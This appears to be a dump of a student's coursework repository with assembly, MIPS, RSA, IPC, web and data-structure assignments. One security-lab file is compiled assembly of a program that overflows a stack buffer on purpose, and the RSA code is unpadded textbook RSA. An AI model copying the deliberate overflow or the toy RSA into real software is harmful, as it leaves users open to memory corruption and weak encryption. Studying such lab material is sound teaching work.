| cmp word[t] , 10 34 | je rRet 35 | 36 | sub word[t] , 30h 37 | mov ax , word[temp] 38 | mov bx , 10 39 | mul bx 40 | add ax , word[t] 41 | mov word[temp] , ax 42 | jmp _read 43 | rRet : 44 | mov ax , word[temp] 45 | ret 46 | 47 | ; Print Multiple Digits 48 | print : 49 | mov byte[count] , 0 50 | pusha 51 | digs : 52 | cmp word[temp] , 0 53 | je print_ 54 | inc byte[count] 55 | mov edx , 0 56 | mov ax , word[temp] 57 | mov bx , 10 58 | div bx 59 | push edx 60 | mov word[temp] , ax 61 | jmp digs 62 | 63 | print_ : 64 | cmp byte[count] , 0 65 | je pRet 66 | dec byte[count] 67 | pop edx 68 | mov word[t] , dx 69 | add byte[t] , 30h 70 | 71 | mov eax , 4 72 | mov ebx , 1 73 | mov ecx , t 74 | mov edx , 1 75 | int 80h 76 | jmp print_ 77 | 78 | pRet : 79 | mov eax , 4 80 | mov ebx , 1 81 | mov ecx , nl 82 | mov edx , 1 83 | int 80h 84 | 85 | popa 86 | ret 87 | 88 | ; Exit 89 | exit : 90 | mov eax , 1 91 | mov ebx , 0 92 | int 80h 93 | -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/q4.s: -------------------------------------------------------------------------------- 1 | .globl main 2 | 3 | .text 4 | 5 | main : 6 | li $v0, 4 7 | la $a0, psa 8 | syscall 9 | 10 | li $v0, 8 11 | la $a0, string_a 12 | syscall 13 | 14 | li $v0, 4 15 | la $a0, psb 16 | syscall 17 | 18 | li $v0, 8 19 | la $a0, string_b 20 | syscall 21 | 22 | la $a0, string_a 23 | la $a1, string_b 24 | jal strcmp 25 | 26 | beqz $v1, Yes 27 | 28 | No : 29 | li $v0, 4 30 | la $a0, no 31 | syscall 32 | j exit 33 | 34 | Yes : 35 | li $v0, 4 36 | la $a0, yes 37 | syscall 38 | j exit 39 | 40 | strcmp : 41 | li $v1, 1 42 | li $t0, 0 43 | li $t1, 0 44 | li $t2, 0 45 | move $t3, $a0 46 | move $t4, $a1 47 | cmp_loop : 48 | lb $t1, 0($a0) 49 | lb $t2, 0($a1) 50 | bne $t1, $t2 , exit_strcmp 51 | beqz $t1, equal 52 | addi $a0, $a0, 1 53 | addi $a1, $a1, 1 54 | j cmp_loop 55 | equal : 56 | li $v1, 0 57 | exit_strcmp : 58 | jr $ra 59 | 60 | print_space : 61 | li $v0, 4 62 | la $a0, spc 63 | syscall 64 | jr $ra 65 | 66 | print_nl : 67 | li $v0, 4 68 | la $a0, nl 69 | syscall 70 | jr $ra 71 | 72 | exit : 73 | jal print_nl 74 | li $v0, 10 75 | syscall 76 | 77 | .data 78 | psa: .asciiz "Enter String 1 : " 79 | psb: .asciiz "Enter String 2 : " 80 | yes: .asciiz "EQUAL\n" 81 | no: .asciiz "NOT EQUAL\n" 82 | spc: .asciiz " " 83 | nl: .asciiz "\n" 84 | string_a: .space 256 85 | string_b: .space 256 -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/7.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | pa : db "Enter X : " 4 | la : equ $-pa 5 | five : dw 5 6 | nine : dw 9 7 | format_in : db "%lf",0 8 | format_out : db "F(X) : %lf",10,0 9 | 10 | section .bss 11 | x : resq 1 12 | x2 : resq 1 13 | x3 : resq 1 14 | t_float : resq 1 15 | 16 | section .text 17 | global main 18 | extern scanf 19 | extern printf 20 | main : 21 | mov eax , 4 22 | mov ebx , 1 23 | mov ecx , pa 24 | mov edx , la 25 | int 80h 26 | 27 | call _scan_float 28 | fst qword[x] 29 | 30 | fmul qword[x] 31 | fst qword[x2] 32 | 33 | fmul qword[x] 34 | fst qword[x3] 35 | 36 | fld qword[x] 37 | fchs 38 | fimul word[five] 39 | fiadd word[nine] 40 | 41 | fadd qword[x2] 42 | fadd qword[x3] 43 | 44 | mov eax , format_out 45 | call _print_float 46 | 47 | jmp exit 48 | 49 | _scan_float : 50 | pusha 51 | push ebp 52 | mov ebp , esp 53 | sub esp , 8 54 | lea eax , [esp] 55 | push eax 56 | push format_in 57 | call scanf 58 | fld qword[ebp-8] 59 | fst qword[t_float] 60 | mov esp , ebp 61 | pop ebp 62 | popa 63 | ret 64 | 65 | _print_float : 66 | pusha 67 | push ebp 68 | mov ebp , esp 69 | sub esp , 8 70 | fst qword[ebp-8] 71 | push eax 72 | call printf 73 | mov esp , ebp 74 | pop ebp 75 | popa 76 | ret 77 | 78 | clearStack : 79 | pusha 80 | ffree ST0 81 | ffree ST1 82 | ffree ST2 83 | ffree ST3 84 | ffree ST4 85 | ffree ST5 86 | ffree ST6 87 | ffree ST7 88 | popa 89 | ret 90 | 91 | ; Exit 92 | exit : 93 | mov eax , 1 94 | mov ebx , 0 95 | int 80h 96 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/Completed/assg5_q7.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | pa : db "Enter X : " 4 | la : equ $-pa 5 | five : dw 5 6 | nine : dw 9 7 | format_in : db "%lf",0 8 | format_out : db "F(X) : %lf",10,0 9 | 10 | section .bss 11 | x : resq 1 12 | x2 : resq 1 13 | x3 : resq 1 14 | t_float : resq 1 15 | 16 | section .text 17 | global main 18 | extern scanf 19 | extern printf 20 | main : 21 | mov eax , 4 22 | mov ebx , 1 23 | mov ecx , pa 24 | mov edx , la 25 | int 80h 26 | 27 | call _scan_float 28 | fst qword[x] 29 | 30 | fmul qword[x] 31 | fst qword[x2] 32 | 33 | fmul qword[x] 34 | fst qword[x3] 35 | 36 | fld qword[x] 37 | fchs 38 | fimul word[five] 39 | fiadd word[nine] 40 | 41 | fadd qword[x2] 42 | fadd qword[x3] 43 | 44 | mov eax , format_out 45 | call _print_float 46 | 47 | jmp exit 48 | 49 | _scan_float : 50 | pusha 51 | push ebp 52 | mov ebp , esp 53 | sub esp , 8 54 | lea eax , [esp] 55 | push eax 56 | push format_in 57 | call scanf 58 | fld qword[ebp-8] 59 | fst qword[t_float] 60 | mov esp , ebp 61 | pop ebp 62 | popa 63 | ret 64 | 65 | _print_float : 66 | pusha 67 | push ebp 68 | mov ebp , esp 69 | sub esp , 8 70 | fst qword[ebp-8] 71 | push eax 72 | call printf 73 | mov esp , ebp 74 | pop ebp 75 | popa 76 | ret 77 | 78 | clearStack : 79 | pusha 80 | ffree ST0 81 | ffree ST1 82 | ffree ST2 83 | ffree ST3 84 | ffree ST4 85 | ffree ST5 86 | ffree ST6 87 | ffree ST7 88 | popa 89 | ret 90 | 91 | ; Exit 92 | exit : 93 | mov eax , 1 94 | mov ebx , 0 95 | int 80h 96 | -------------------------------------------------------------------------------- /S8/IIS/Done/RSA_1024.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | using namespace NTL; 5 | 6 | #define BIT_LENGTH 1024 7 | #define ERR_THRESHOLD 1000 8 | // Error in range 2^(-ERR_THRESHOLD) 9 | 10 | // KEY GENERATION 11 | // p = Prime 12 | // q = Prime 13 | // n = pq 14 | // (p-1)(q-1) = phi 15 | // choose e , gcd(e,phi) = 1 16 | // find e^-1 % phi 17 | // 18 | Vec KeyGen() 19 | { 20 | ZZ p , q , n , phi , e , d ; 21 | Vec v ; 22 | v.FixLength(3) ; 23 | 24 | GenPrime(p,BIT_LENGTH/2,ERR_THRESHOLD) ; 25 | GenPrime(q,BIT_LENGTH/2,ERR_THRESHOLD) ; 26 | n = p * q ; 27 | phi = (p-1) * (q-1) ; 28 | 29 | ZZ t ; 30 | t = 0 ; 31 | e = 0 ; 32 | while (t != 1 && e != 1) 33 | { 34 | e = RandomBnd(phi) ; 35 | t = GCD(e,phi) ; 36 | } 37 | 38 | d = InvMod(e,phi) ; 39 | 40 | v[0] = n ; 41 | v[1] = e ; 42 | v[2] = d ; 43 | return v ; 44 | } 45 | 46 | // Encrypt 47 | ZZ encrypt(ZZ m,ZZ e,ZZ n) 48 | { 49 | ZZ c ; 50 | c = PowerMod(m,e,n) ; 51 | return c ; 52 | } 53 | 54 | // Decrypt 55 | ZZ decrypt(ZZ c,ZZ d,ZZ n) 56 | { 57 | ZZ m ; 58 | m = PowerMod(c,d,n) ; 59 | return m ; 60 | } 61 | 62 | 63 | int main() 64 | { 65 | ZZ p , q , n , phi , e , d ; 66 | 67 | Vec keys = KeyGen() ; 68 | n = keys[0] ; 69 | e = keys[1] ; 70 | d = keys[2] ; 71 | 72 | ZZ m , c , t ; 73 | 74 | m = 2567 ; 75 | cout << "M : " << m << endl ; 76 | c = encrypt(m,e,n) ; 77 | cout << "C : " << c << endl ; 78 | t = decrypt(c,d,n) ; 79 | cout << "T : " << t << endl ; 80 | } -------------------------------------------------------------------------------- /S8/IIS/Done/RSA_512.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | using namespace NTL; 5 | 6 | #define BIT_LENGTH 512 7 | #define ERR_THRESHOLD 1000 8 | // Error in range 2^(-ERR_THRESHOLD) 9 | 10 | // KEY GENERATION 11 | // p = Prime 12 | // q = Prime 13 | // n = pq 14 | // (p-1)(q-1) = phi 15 | // choose e , gcd(e,phi) = 1 16 | // find e^-1 % phi 17 | // 18 | Vec KeyGen() 19 | { 20 | ZZ p , q , n , phi , e , d ; 21 | Vec v ; 22 | v.FixLength(3) ; 23 | 24 | GenPrime(p,BIT_LENGTH/2,ERR_THRESHOLD) ; 25 | GenPrime(q,BIT_LENGTH/2,ERR_THRESHOLD) ; 26 | n = p * q ; 27 | phi = (p-1) * (q-1) ; 28 | 29 | ZZ t ; 30 | t = 0 ; 31 | e = 0 ; 32 | while (t != 1 && e != 1) 33 | { 34 | e = RandomBnd(phi) ; 35 | t = GCD(e,phi) ; 36 | } 37 | 38 | d = InvMod(e,phi) ; 39 | 40 | v[0] = n ; 41 | v[1] = e ; 42 | v[2] = d ; 43 | return v ; 44 | } 45 | 46 | // Encrypt 47 | ZZ encrypt(ZZ m,ZZ e,ZZ n) 48 | { 49 | ZZ c ; 50 | c = PowerMod(m,e,n) ; 51 | return c ; 52 | } 53 | 54 | // Decrypt 55 | ZZ decrypt(ZZ c,ZZ d,ZZ n) 56 | { 57 | ZZ m ; 58 | m = PowerMod(c,d,n) ; 59 | return m ; 60 | } 61 | 62 | 63 | int main() 64 | { 65 | ZZ p , q , n , phi , e , d ; 66 | 67 | Vec keys = KeyGen() ; 68 | n = keys[0] ; 69 | e = keys[1] ; 70 | d = keys[2] ; 71 | 72 | ZZ m , c , t ; 73 | 74 | m = 2567 ; 75 | cout << "M : " << m << endl ; 76 | c = encrypt(m,e,n) ; 77 | cout << "C : " << c << endl ; 78 | t = decrypt(c,d,n) ; 79 | cout << "T : " << t << endl ; 80 | } -------------------------------------------------------------------------------- /S5/WebP/HTML_FORMS_EXERCISE/Code/right.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | form 5 | 6 | 7 |
8 |

Feedback

9 |

10 | You are welcome to provide feedback on this website. Please consider 11 | reading About the Site before filling this form. 12 |

13 | 14 |
15 |

16 | 17 |
18 |
19 | Your email id is required. It will not be shown to anybody else.

20 | 21 |
22 |
27 | Please choose a category for your feedback.

28 | 29 |
30 |
31 | Write the feedback message here.

32 | 33 | 34 |
35 | 36 | -------------------------------------------------------------------------------- /S5/WebP/HTML_FORMS_EXERCISE/Code/left.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Left 5 | 6 | 7 | 23 | 24 |
25 | News 26 |
27 | 37 |
38 | 39 | -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/process_3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int check(float *L) 9 | { 10 | for(int i=0;i<5;i+=1) 11 | { 12 | if(L[i] < 15 || L[i] > 45) 13 | { 14 | printf("One of the Values Not In Range 15 to 45\n") ; 15 | printf("Re-enter values \n") ; 16 | return 1 ; 17 | } 18 | } 19 | return 0 ; 20 | } 21 | 22 | void main() 23 | { 24 | float avg = 0 , stdev = 0 ; 25 | float L[5] = {0,0,0,0,0} ; 26 | int category[5] = {0,0,0,0,0} ; 27 | 28 | int fd[3] ; 29 | 30 | char * fifo[3] = {"/tmp/fifo1","/tmp/fifo2","/tmp/fifo3"}; 31 | 32 | mkfifo(fifo[0], 0666); 33 | mkfifo(fifo[1], 0666); 34 | mkfifo(fifo[2], 0666); 35 | 36 | fd[0] = open(fifo[0], O_RDWR); 37 | fd[1] = open(fifo[1], O_RDWR); 38 | fd[2] = open(fifo[2], O_RDWR); 39 | 40 | read(fd[2],L,5 * sizeof(L[0])); 41 | read(fd[2],&avg,sizeof(avg)) ; 42 | read(fd[2],&stdev,sizeof(stdev)) ; 43 | for(int i=0;i<5;i+=1) 44 | { 45 | if(L[i]==avg) 46 | category[i] = 0 ; 47 | else if(L[i] > avg + stdev) 48 | category[i] = 1 ; 49 | else if(L[i] < avg - stdev) 50 | category[i] = 4 ; 51 | else if(L[i] > avg && L[i] <= avg + stdev) 52 | category[i] = 2 ; 53 | else if(L[i] < avg && L[i] >= avg - stdev) 54 | category[i] = 3 ; 55 | } 56 | write(fd[0],category,5*sizeof(category[0])) ; 57 | 58 | close(fd[0]) ; 59 | close(fd[1]) ; 60 | close(fd[2]) ; 61 | } -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/README.md: -------------------------------------------------------------------------------- 1 | # IPC Using Unnamed Pipe 2 | 3 | Interprocess communication between related processes 4 | 5 | The pipe command is used to make pipes and is used for inter process communication using read and write commands 6 | 7 | ## Files : 8 | ``` 9 | parentChild.c 10 | ``` 11 | ## Commands to run : 12 | ``` 13 | gcc parentChild.c && ./a.out # Compile and runs Program 14 | ``` 15 | ## Processes 16 | ``` 17 | Parent Process # Used to control the child processes 18 | Process 1 # Gets User Input and displays final output 19 | Process 2 # Calculates Average and Standard Deviation 20 | Process 3 # Assigns Categories based on Average and Standard Deviation 21 | ``` 22 | 23 | 24 | 25 | # IPC Using Named Pipe 26 | 27 | Interprocess communication between unrelated processes 28 | 29 | The mkfifo command is used to make pipes and their file descriptors are used for inter process communication using read and write commands 30 | 31 | ## Files : 32 | ``` 33 | process_1.c # Process 1 Program 34 | process_2.c # Process 2 Program 35 | process_3.c # Process 3 program 36 | ``` 37 | ## Commands to run : 38 | ``` 39 | gcc process_1.c -o p1 && ./p1 # Compile and runs Program of process 1 40 | gcc process_2.c -o p2 -lm && ./p2 # Compile and runs Program of process 2 41 | gcc process_3.c -o p3 && ./p3 # Compile and runs Program of process 3 42 | ``` 43 | ## Processes 44 | ``` 45 | Process 1 # Gets User Input and displays final output 46 | Process 2 # Calculates Average and Standard Deviation 47 | Process 3 # Assigns Categories based on Average and Standard Deviation 48 | ``` 49 | -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/q1_TA.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | struct buffer 7 | { 8 | long mtype ; 9 | char data[200] ; 10 | } message ; 11 | 12 | char getGrade(float mark ,float avg) 13 | { 14 | if(mark <= 19) 15 | return 'E' ; 16 | else if(mark < 29) 17 | return 'B' ; 18 | else if(mark < 39) 19 | return 'A' ; 20 | else 21 | return 'S' ; 22 | } 23 | 24 | void main() 25 | { 26 | int i = 0 ; 27 | key_t key; 28 | int msgid; 29 | 30 | float marks[5] ; 31 | float avg = 0 ; 32 | 33 | key = ftok("progfile", 65); 34 | msgid = msgget(key, 0666 | IPC_CREAT); 35 | 36 | for(i=1;i<=5;i+=1) 37 | { 38 | msgrcv(msgid, &message, sizeof(message.data), 10, 0); 39 | printf("Mark of Student %d is : %s \n",i,message.data); 40 | sscanf(message.data,"%f",marks + i-1) ; 41 | avg += marks[i-1] ; 42 | } 43 | avg /= 5 ; 44 | 45 | message.mtype = 100; 46 | sprintf(message.data,"%f",avg) ; 47 | msgsnd(msgid, &message, sizeof(message.data), 0); 48 | printf("Average Sent\n") ; 49 | 50 | for(int i=1;i<=5;i+=1) 51 | { 52 | message.mtype = 100; 53 | sprintf(message.data,"%c",getGrade(marks[i-1],avg)) ; 54 | msgsnd(msgid, &message, sizeof(message.data), 0); 55 | } 56 | printf("Grades Sent\n") ; 57 | 58 | for(int i=1;i<=5;i+=1) 59 | { 60 | message.mtype = i; 61 | sprintf(message.data,"%f",marks[i-1]) ; 62 | msgsnd(msgid, &message, sizeof(message.data), 0); 63 | } 64 | sleep(1) ; 65 | msgctl(msgid, IPC_RMID, NULL); 66 | } -------------------------------------------------------------------------------- /S5/WebP/JavaScript_ClassroomASSG/Code/function.js: -------------------------------------------------------------------------------- 1 | 2 | document.addEventListener("DOMContentLoaded", bindEvents); 3 | 4 | function bindEvents(){ 5 | document.getElementById('calc_btn').addEventListener("click",callCalc); 6 | } 7 | 8 | function validate_operands() 9 | { 10 | var op1 = document.form1.op1.value; 11 | var op2 = document.form1.op2.value; 12 | var optn = document.form1.op.value; 13 | if(op1=="" || op2=="") 14 | { 15 | alert('Enter values in operand fields!'); 16 | return false; 17 | } 18 | if(isNaN(op1) || isNaN(op2)) 19 | { 20 | alert('Enter NUMERIC values in operand fields!'); 21 | return false; 22 | } 23 | if(optn==""){ 24 | alert('Please select operation!'); 25 | return false; 26 | } 27 | return true; 28 | } 29 | 30 | function callCalc() 31 | { 32 | if(!validate_operands()) 33 | return; 34 | var result = "r "; 35 | var op1 = Number(document.form1.op1.value); 36 | var op2 = Number(document.form1.op2.value); 37 | var operation = document.form1.op.value; 38 | switch(operation){ 39 | case '+': result = op1 + op2; 40 | break; 41 | case '-': result = op1 - op2; 42 | break; 43 | case 'x': result = op1 * op2; 44 | break; 45 | default: alert('Operation not Identified!'); 46 | break; 47 | } 48 | 49 | //Floating point results are rounded to 2 decimal places 50 | try{ 51 | if(result.toString().indexOf('.')>-1) 52 | result = result.toFixed(2); 53 | } 54 | catch(e){ 55 | alert(e); 56 | } 57 | var result_str = op1 +" "+ operation +" "+ op2 + " = " + result; 58 | 59 | alert(result_str); 60 | document.getElementById("result").innerHTML = "Result : " +result_str; 61 | } -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/process_1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int check(float *L) 9 | { 10 | for(int i=0;i<5;i+=1) 11 | { 12 | if(L[i] < 15 || L[i] > 45) 13 | { 14 | printf("One of the Values Not In Range 15 to 45\n") ; 15 | printf("Re-enter values \n") ; 16 | return 1 ; 17 | } 18 | } 19 | return 0 ; 20 | } 21 | 22 | void main() 23 | { 24 | float L[5] = {0,0,0,0,0} ; 25 | int category[5] = {0,0,0,0,0} ; 26 | 27 | int fd[3] ; 28 | 29 | char * fifo[3] = {"/tmp/fifo1","/tmp/fifo2","/tmp/fifo3"}; 30 | 31 | mkfifo(fifo[0], 0666); 32 | mkfifo(fifo[1], 0666); 33 | mkfifo(fifo[2], 0666); 34 | 35 | fd[0] = open(fifo[0], O_RDWR); 36 | fd[1] = open(fifo[1], O_RDWR); 37 | fd[2] = open(fifo[2], O_RDWR); 38 | 39 | printf("Enter The 5 Values :\n") ; 40 | do { 41 | scanf("%f%f%f%f%f",L,L+1,L+2,L+3,L+4) ; 42 | } while (check(L)) ; 43 | write(fd[1],L,5 * sizeof(L[0])) ; 44 | read(fd[0],category,5 * sizeof(category[0])) ; 45 | for(int i=0;i<5;i+=1) 46 | { 47 | switch(category[i]) 48 | { 49 | case 0 :break ; 50 | case 1 :L[i] -= 3 ; 51 | break ; 52 | case 2 :L[i] -= 1.5 ; 53 | break ; 54 | case 3 :L[i] += 2 ; 55 | break ; 56 | case 4 :L[i] += 2.5 ; 57 | break ; 58 | default:break ; 59 | } 60 | } 61 | printf("Revised Temperatures\n") ; 62 | printf("L1 : %7.2f L2 : %7.2f L3 : %7.2f L4 : %7.2f L5 : %7.2f\n",L[0],L[1],L[2],L[3],L[4]) ; 63 | 64 | close(fd[0]) ; 65 | close(fd[1]) ; 66 | close(fd[2]) ; 67 | } -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/q2.s: -------------------------------------------------------------------------------- 1 | # $t6 - i - before previous 2 | # $t7 - j - previous 3 | # $s7 - k - current 4 | # $s5 - a 5 | # $s6 - b 6 | 7 | .globl main 8 | 9 | .text 10 | 11 | main : 12 | li $t6, 0 13 | li $t7, 1 14 | li $s7, 0 15 | 16 | # Print Prompt a 17 | li $v0, 4 18 | la $a0, prompt_a 19 | syscall 20 | 21 | # Read a 22 | li $v0, 5 23 | syscall 24 | move $s5, $v0 25 | 26 | # Print Prompt b 27 | li $v0, 4 28 | la $a0, prompt_b 29 | syscall 30 | 31 | # Read b 32 | li $v0, 5 33 | syscall 34 | move $s6, $v0 35 | 36 | loop : 37 | bgt $s5, $s6, exit_loop # if $s5 > $s6 38 | move $a0, $s5 39 | jal prime_check 40 | beqz $v1, loop_cont 41 | # Print Number 42 | li $v0, 1 43 | move $a0, $s5 44 | syscall 45 | jal print_space 46 | loop_cont : 47 | addi $s5, $s5 ,1 48 | j loop 49 | exit_loop : 50 | j exit 51 | 52 | prime_check : 53 | li $v1, 0 # Prime Flag 54 | li $t0, 2 # i = 2 55 | blt $a0, $t0, exit_prime_check 56 | div $a0, $t0 # N/2 57 | mflo $t1 # t1 = N / 2 58 | prime_check_loop : 59 | bgt $t0, $t1, prime 60 | div $a0, $t0 # N / i 61 | mfhi $t3 # $t3 = N % i 62 | beqz $t3 , exit_prime_check 63 | addi $t0, $t0, 1 # i += 1 64 | j prime_check_loop 65 | prime : 66 | li $v1, 1 67 | exit_prime_check : 68 | addi $sp,$sp,16 69 | jr $ra 70 | 71 | print_space : 72 | li $v0, 4 73 | la $a0, spc 74 | syscall 75 | jr $ra 76 | 77 | print_nl : 78 | li $v0, 4 79 | la $a0, nl 80 | syscall 81 | jr $ra 82 | 83 | exit : 84 | jal print_nl 85 | li $v0, 10 86 | syscall 87 | 88 | .data 89 | prompt_a: .asciiz "Enter Start : " 90 | prompt_b: .asciiz "Enter End : " 91 | spc: .asciiz " " 92 | nl: .asciiz "\n" -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/httpServer/server.py: -------------------------------------------------------------------------------- 1 | from http.server import HTTPServer, BaseHTTPRequestHandler 2 | from socketserver import ThreadingMixIn 3 | import threading 4 | import time 5 | 6 | HOST = '0.0.0.0' 7 | PORT = 5050 #Task 1 Modification 8 | 9 | class ThreadedSimpleServer(ThreadingMixIn,HTTPServer): 10 | pass 11 | 12 | class ClientHandler(BaseHTTPRequestHandler): 13 | Routes = { 14 | '':'index.html', 15 | '/page2':'page2.html', 16 | '/modify' : 'modify.html' #Task 2 Modification 17 | } 18 | def do_GET(self): 19 | print("Request received from, ",self.client_address) 20 | #time.sleep(3.0) 21 | #print("Continuing with ",self.client_address) 22 | self.path = self.path.rstrip('/') 23 | print(self.path) 24 | try: 25 | resource = self.Routes[self.path] 26 | try: 27 | f = open(resource).read() 28 | self.send_response(200) 29 | except: 30 | f = "[Error : 404]\nFile Not Found" 31 | self.send_response(404) 32 | except: 33 | if self.path=='/getmoved.html': 34 | self.send_response(301) 35 | self.send_header('Location','https://www.google.com') 36 | self.end_headers() 37 | return 38 | else: 39 | f = "[Error : 404]\nURL Not Found" 40 | self.send_response(404) 41 | f = bytes(f,'utf-8') 42 | self.send_header('Content-Length',len(f)) 43 | self.send_header('Content-Type','text/html; charset=utf-8') 44 | self.end_headers() 45 | self.wfile.write(f) 46 | 47 | if __name__ == "__main__": 48 | print(f"\n[SERVER LISTENING AT PORT {PORT}]") 49 | print("================================") 50 | ThreadedServer = ThreadedSimpleServer((HOST, PORT),ClientHandler) 51 | ThreadedServer.serve_forever() 52 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example2.s: -------------------------------------------------------------------------------- 1 | .file "example2.c" 2 | .text 3 | .globl function 4 | .type function, @function 5 | function: 6 | .LFB0: 7 | .cfi_startproc 8 | pushl %ebp 9 | .cfi_def_cfa_offset 8 10 | .cfi_offset 5, -8 11 | movl %esp, %ebp 12 | .cfi_def_cfa_register 5 13 | subl $56, %esp 14 | movl 8(%ebp), %eax 15 | movl %eax, -44(%ebp) 16 | movl %gs:20, %eax 17 | movl %eax, -12(%ebp) 18 | xorl %eax, %eax 19 | subl $8, %esp 20 | pushl -44(%ebp) 21 | leal -28(%ebp), %eax 22 | pushl %eax 23 | call strcpy 24 | addl $16, %esp 25 | nop 26 | movl -12(%ebp), %eax 27 | xorl %gs:20, %eax 28 | je .L2 29 | call __stack_chk_fail 30 | .L2: 31 | leave 32 | .cfi_restore 5 33 | .cfi_def_cfa 4, 4 34 | ret 35 | .cfi_endproc 36 | .LFE0: 37 | .size function, .-function 38 | .globl main 39 | .type main, @function 40 | main: 41 | .LFB1: 42 | .cfi_startproc 43 | leal 4(%esp), %ecx 44 | .cfi_def_cfa 1, 0 45 | andl $-16, %esp 46 | pushl -4(%ecx) 47 | pushl %ebp 48 | .cfi_escape 0x10,0x5,0x2,0x75,0 49 | movl %esp, %ebp 50 | pushl %ecx 51 | .cfi_escape 0xf,0x3,0x75,0x7c,0x6 52 | subl $276, %esp 53 | movl %gs:20, %eax 54 | movl %eax, -12(%ebp) 55 | xorl %eax, %eax 56 | movl $0, -272(%ebp) 57 | jmp .L4 58 | .L5: 59 | leal -268(%ebp), %edx 60 | movl -272(%ebp), %eax 61 | addl %edx, %eax 62 | movb $65, (%eax) 63 | addl $1, -272(%ebp) 64 | .L4: 65 | cmpl $254, -272(%ebp) 66 | jle .L5 67 | subl $12, %esp 68 | leal -268(%ebp), %eax 69 | pushl %eax 70 | call function 71 | addl $16, %esp 72 | nop 73 | movl -12(%ebp), %eax 74 | xorl %gs:20, %eax 75 | je .L6 76 | call __stack_chk_fail 77 | .L6: 78 | movl -4(%ebp), %ecx 79 | .cfi_def_cfa 1, 0 80 | leave 81 | .cfi_restore 5 82 | leal -4(%ecx), %esp 83 | .cfi_def_cfa 4, 4 84 | ret 85 | .cfi_endproc 86 | .LFE1: 87 | .size main, .-main 88 | .ident "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609" 89 | .section .note.GNU-stack,"",@progbits 90 | -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/assg1_1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef struct Node { 5 | struct Node *left ; 6 | struct Node *right ; 7 | int key ; 8 | } Node ; 9 | 10 | void parenPrint(Node *Root) 11 | { 12 | if(Root == NULL || Root == 0) 13 | { 14 | printf("()") ; 15 | return ; 16 | } 17 | Node *l = Root->left ; 18 | Node *r = Root->right ; 19 | // printf("[%#x %#x %#x]",Root,l,r) ; 20 | printf("(%d",Root->key) ; 21 | // printf("%#x %d\n",l,l==NULL) ; 22 | parenPrint(l) ; 23 | parenPrint(r) ; 24 | printf(")") ; 25 | return ; 26 | } 27 | 28 | void main() 29 | { 30 | char op ; 31 | int x ; 32 | int i = 0 ; 33 | Node *Tree = NULL ; 34 | do 35 | { 36 | scanf(" %c",&op) ; 37 | // printf("Scanned %c\n",op) ; 38 | switch(op) 39 | { 40 | case 'i' : if(i==0) 41 | Tree = calloc(1,sizeof(Node)) ; 42 | else 43 | Tree = realloc(Tree,(i+1) * sizeof(Node)) ; 44 | scanf("%d",&(Tree[i].key)) ; 45 | // printf("Scanned [%#x] %d\n",Tree + i,Tree[i].key) ; 46 | Tree[i].left = NULL ; 47 | Tree[i].right = NULL ; 48 | if(i>0) 49 | { 50 | if(i%2) 51 | Tree[(i-1)/2].left = Tree + i ; 52 | else 53 | Tree[(i-2)/2].right = Tree + i ; 54 | } 55 | i += 1 ; 56 | break ; 57 | case 'p' : parenPrint(Tree) ; 58 | printf("\n"); 59 | break ; 60 | case 'e' : break ; 61 | default : break ; 62 | } 63 | } while(op != 'e') ; 64 | } -------------------------------------------------------------------------------- /S4/DSA/Assignment_3/ASSG3_4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int hashcode(char x) 6 | { 7 | return x-'a'; 8 | } 9 | 10 | int checker(char*a,int *T,int *N,int x) 11 | { 12 | int hs ; 13 | for(int i=0;i=0) 64 | { 65 | rhash=hashcode(str[i-l]); 66 | sTable[rhash]--; 67 | } 68 | 69 | shash-=rhash; 70 | 71 | if(shash==phash) 72 | if(checker(pat,pTable,sTable,l)) 73 | flag=1; 74 | 75 | 76 | } 77 | if(flag) 78 | printf("YES\n"); 79 | else 80 | printf("NO\n"); 81 | } 82 | 83 | 84 | void main() 85 | { 86 | char *str; 87 | char *pat; 88 | 89 | int t; 90 | scanf("%d",&t); 91 | 92 | while(t) 93 | { 94 | str=(char*)malloc(10000*sizeof(char)); 95 | pat=(char*)malloc(1000*sizeof(char)); 96 | 97 | scanf("\n"); 98 | fgets(pat,1000,stdin); 99 | //scanf("\n"); 100 | fgets(str,10000,stdin); 101 | 102 | //printf("%s:%s %ld \n",pat,str,strlen(pat)); 103 | 104 | permut(pat,str); 105 | 106 | t--; 107 | 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /S5/NTC/FASTEXP.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "code", 5 | "execution_count": 33, 6 | "metadata": {}, 7 | "outputs": [ 8 | { 9 | "name": "stdout", 10 | "output_type": "stream", 11 | "text": [ 12 | "enter the exponent: 26\n", 13 | "Enter x: 2\n", 14 | "Enter n:23\n", 15 | "11010\n", 16 | "sq\n", 17 | "2\n", 18 | "mul\n", 19 | "3\n", 20 | "sq\n", 21 | "6\n", 22 | "sq\n", 23 | "12\n", 24 | "mul\n", 25 | "13\n", 26 | 